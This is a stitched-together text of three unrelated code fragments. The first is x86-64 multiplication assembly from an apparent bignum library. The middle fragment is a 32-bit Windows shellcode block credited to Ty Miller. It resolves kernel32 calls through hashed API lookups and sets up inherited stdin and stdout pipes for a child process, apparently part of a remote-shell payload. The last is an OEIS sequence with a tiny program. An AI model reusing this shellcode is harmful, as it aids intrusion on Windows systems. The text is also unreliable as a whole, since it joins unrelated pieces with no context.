(rp) dec vn jz L(ret) lea -8(up), up lea 8(vp), vp mov un, n mov (vp), v0 mov 8(vp), v1 jmp *outer_addr C =========================================================== C mul_2 for vp[0], vp[1] if vn is even ALIGN(16) L(mul_2): mov un32, w032 neg un mov -8(up,un,8), %rax mov (vp), v0 mov 8(vp), v1 mul v1 and $-4, un C round down to multiple of 4 mov un, n and $3, w032 jz L(mul_2_prologue_0) cmp $2, w032 jc L(mul_2_prologue_1) jz L(mul_2_prologue_2) L(mul_2_prologue_3): mov %rax, w1 mov %rdx, w2 lea L(addmul_prologue_3)(%rip), outer_addr jmp L(mul_2_entry_3) ALIGN(16) L(mul_2_prologue_0): mov %rax, w0 mov %rdx, w1 lea L(addmul_prologue_0)(%rip), outer_addr jmp L(mul_2_entry_0) ALIGN(16) L(mul_2_prologue_1): mov %rax, w3 mov %rdx, w0 mov $0, w132 lea L(addmul_prologue_1)(%rip), outer_addr jmp L(mul_2_entry_1) ALIGN(16) L(mul_2_prologue_2): mov %rax, w2 mov %rdx, w3 mov $0, w032 mov 16(up,n,8), %rax lea L(addmul_prologue_2)(%rip), outer_addr jmp L(mul_2_entry_2) C this loop is 18 c/loop = 2.25 c/l on K8 ALIGN(16) L(mul_2_top): mov -8(up,n,8), %rax mul v1 add %rax, w0 adc %rdx, w1 L(mul_2_entry_0): mov $0, w232 mov (up,n,8), %rax mul v0 add %rax, w0 mov (up,n,8), %rax adc %rdx, w1 adc $0, w232 mul v1 add %rax, w1 mov w0, (rp,n,8) adc %rdx, w2 L(mul_2_entry_3): mov 8(up,n,8), %rax mul v0 mov $0, w332 add %rax, w1 adc %rdx, w2 mov $0, w032 adc $0, w332 mov 8(up,n,8), %rax mov w1, 8(rp,n,8) mul v1 add %rax, w2 mov 16(up,n,8), %rax adc %rdx, w3 L(mul_2_entry_2): mov $0, w132 mul v0 add %rax, w2 mov 16(up,n,8), %rax adc %rdx, w3 adc $0, w032 mul v1 add %rax, w3 mov w2, 16(rp,n,8) adc %rdx, w0 L(mul_2_entry_1): mov 24(up,n,8), %rax mul v0 add %rax, w3 adc %rdx, w0 adc $0, w132 add $4, n mov w3, -8(rp,n,8) jnz L(mul_2_top) mov w0, (rp) mov w1, 8(rp) sub $2, vn jz L(ret) lea 16(vp), vp lea -16(up), up mov un, n mov (vp), v0 mov 8(vp), v1 jmp *outer_addr C =========================================================== C addmul_2 for remaining vp's ALIGN(16) L(addmul_prologue_0): mov -8(up,n,8), %rax mul v1 mov %rax, w1 mov %rdx, w2 mov $0, w332 jmp L(addmul_entry_0) ALIGN(16) L(addmul_prologue_1): mov 16(up,n,8), %rax mul v1 mov %rax, w0 mov %rdx, w1 mov $0, w232 mov 24(up,n,8), %rax jmp L(addmul_entry_1) ALIGN(16) L(addmul_prologue_2): mov 8(up,n,8), %rax mul v1 mov %rax, w3 mov %rdx, w0 mov $0, w132 jmp L(addmul_entry_2) ALIGN(16) L(addmul_prologue_3): mov (up,n,8), %rax mul v1 mov %rax, w2 mov %rdx, w3 mov $0, w032 mov $0, w132 jmp L(addmul_entry_3) C this loop is 19 c/loop = 2.375 c/l on K8 ALIGN(16) L(addmul_top): mov $0, w332 add %rax, w0 mov -8(up,n,8), %rax adc %rdx, w1 adc $0, w232 mul v1 add w0, -8(rp,n,8) adc %rax, w1 adc %rdx, w2 L(addmul_entry_0): mov (up,n,8), %rax mul v0 add %rax, w1 mov (up,n,8), %rax adc %rdx, w2 adc $0, w332 mul v1 add w1, (rp,n,8) mov $0, w132 adc %rax, w2 mov $0, w032 adc %rdx, w3 L(addmul_entry_3): mov 8(up,n,8), %rax mul v0 add %rax, w2 mov 8(up,n,8), %rax adc %rdx, w3 adc $0, w032 mul v1 add w2, 8(rp,n,8) adc %rax, w3 adc %rdx, w0 L(addmul_entry_2): mov 16(up,n,8), %rax mul v0 add %rax, w3 mov 16(up,n,8), %rax adc %rdx, w0 adc $0, w132 mul v1 add w3, 16(rp,n,8) nop C don't ask... adc %rax, w0 mov $0, w232 mov 24(up,n,8), %rax adc %rdx, w1 L(addmul_entry_1): mul v0 add $4, n jnz L(addmul_top) add %rax, w0 adc %rdx, w1 adc $0, w232 add w0, -8(rp) adc w1, (rp) adc w2, 8(rp) sub $2, vn jz L(ret) lea 16(vp), vp lea -16(up), up mov un, n mov (vp), v0 mov 8(vp), v1 jmp *outer_addr C =========================================================== C accumulate along diagonals if un - vn is small ALIGN(16) L(diagonal): xor w032, w032 xor w132, w132 xor w232, w232 neg un mov vn32, %eax and $3, %eax jz L(diag_prologue_0) cmp $2, %eax jc L(diag_prologue_1) jz L(diag_prologue_2) L(diag_prologue_3): lea -8(vp), vp mov vp, vp_inner add $1, vn mov vn, n lea L(diag_entry_3)(%rip), outer_addr jmp L(diag_entry_3) L(diag_prologue_0): mov vp, vp_inner mov vn, n lea 0(%rip), outer_addr mov -8(up,n,8), %rax jmp L(diag_entry_0) L(diag_prologue_1): lea 8(vp), vp mov vp, vp_inner add $3, vn mov vn, n lea 0(%rip), outer_addr mov -8(vp_inner), %rax jmp L(diag_entry_1) L(diag_prologue_2): lea -16(vp), vp mov vp, vp_inner add $2, vn mov vn, n lea 0(%rip), outer_addr mov 16(vp_inner), %rax jmp L(diag_entry_2) C this loop is 10 c/loop = 2.5 c/l on K8 ALIGN(16) L(diag_top): add %rax, w0 adc %rdx, w1 mov -8(up,n,8), %rax adc $0, w2 L(diag_entry_0): mulq (vp_inner) add %rax, w0 adc %rdx, w1 adc $0, w2 L(diag_entry_3): mov -16(up,n,8), %rax mulq 8(vp_inner) add %rax, w0 mov 16(vp_inner), %rax adc %rdx, w1 adc $0, w2 L(diag_entry_2): mulq -24(up,n,8) add %rax, w0 mov 24(vp_inner), %rax adc %rdx, w1 lea 32(vp_inner), vp_inner adc $0, w2 L(diag_entry_1): mulq -32(up,n,8) sub $4, n jnz L(diag_top) add %rax, w0 adc %rdx, w1 adc $0, w2 mov w0, (rp,un,8) inc un jz L(diag_end) mov vn, n mov vp, vp_inner lea 8(up), up mov w1, w0 mov w2, w1 xor w232, w232 jmp *outer_addr L(diag_end): mov w1, (rp) mov w2, 8(rp) L(ret): pop %r15 pop %r14 pop %r13 pop %r12 pop %rbp pop %rbx ret EPILOGUE()
;-----------------------------------------------------------------------------; ; Author: Ty Miller @ Threat Intelligence ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Version: 1.0 (2nd December 2011) ;-----------------------------------------------------------------------------; [BITS 32] ; Input: EBP is api_call ; Output: ; esp+00 child stdin read file descriptor (inherited) ; esp+04 child stdin write file descriptor (not inherited) ; esp+08 child stdout read file descriptor (not inherited) ; esp+12 child stdout write file descriptor (inherited) ; esp+16 lpPipeAttributes structure (not used after block - 12 bytes) ; Clobbers: EAX, EBX, ECX, EDI, ESP will decrement by 28 bytes push 1 ; create lpPipeAtrributes structure on stack so pipe handles are inherited push 0 push 0x0C create_pipe_stdout: push 0 ; allocate space on stack for child stdout file descriptor mov ebx, esp ; save location of where the child stdout Write file descriptor will be push 0 ; allocate space on stack for child stdout file descriptor mov ecx, esp ; save location of where the child stdout Read file descriptor will be push 0 ; nSize lea edi,[esp+12] ; lpPipeAttributes - inherited push edi push ebx ; stdout write file descriptor push ecx ; stdout read file descriptor push 0x0EAFCF3E ; hash ( "kernel.dll", "CreatePipe" ) call ebp ; CreatePipe( Read, Write, 0, 0 ) create_pipe_stdin: push 0 ; allocate space on stack for child stdout file descriptor mov ebx, esp ; save location of where the child stdout Write file descriptor will be push 0 ; allocate space on stack for child stdout file descriptor mov ecx, esp ; save location of where the child stdout Read file descriptor will be push 0 ; nSize lea edi,[esp+20] ; lpPipeAttributes - inherited push edi push ebx ; stdout write file descriptor push ecx ; stdout read file descriptor push 0x0EAFCF3E ; hash ( "kernel.dll", "CreatePipe" ) call ebp ; CreatePipe( Read, Write, 0, 0 ) no_inherit_read_handle: ; ensure read and write handles to child proc pipes for are not inherited mov ebx,[esp+8] push 0 push 1 push ebx ; hChildStdoutRd is the address we set in the CreatePipe call push 0x1CD313CA ; hash(kernel32.dll, SetHandleInformation) call ebp ; SetHandleInformation no_inherit_write_handle: mov ebx,[esp+4] push 0 push 1 push ebx ; hChildStdinRw is the address we set in the CreatePipe call push 0x1CD313CA ; hash(kernel32.dll, SetHandleInformation) call ebp ; SetHandleInformation
; A011842: a(n) = floor(n(n-1)(n-2)/24). ; 0,0,0,0,1,2,5,8,14,21,30,41,55,71,91,113,140,170,204,242,285,332,385,442,506,575,650,731,819,913,1015,1123,1240,1364,1496,1636,1785,1942,2109,2284,2470,2665,2870,3085 bin $0,3 div $0,4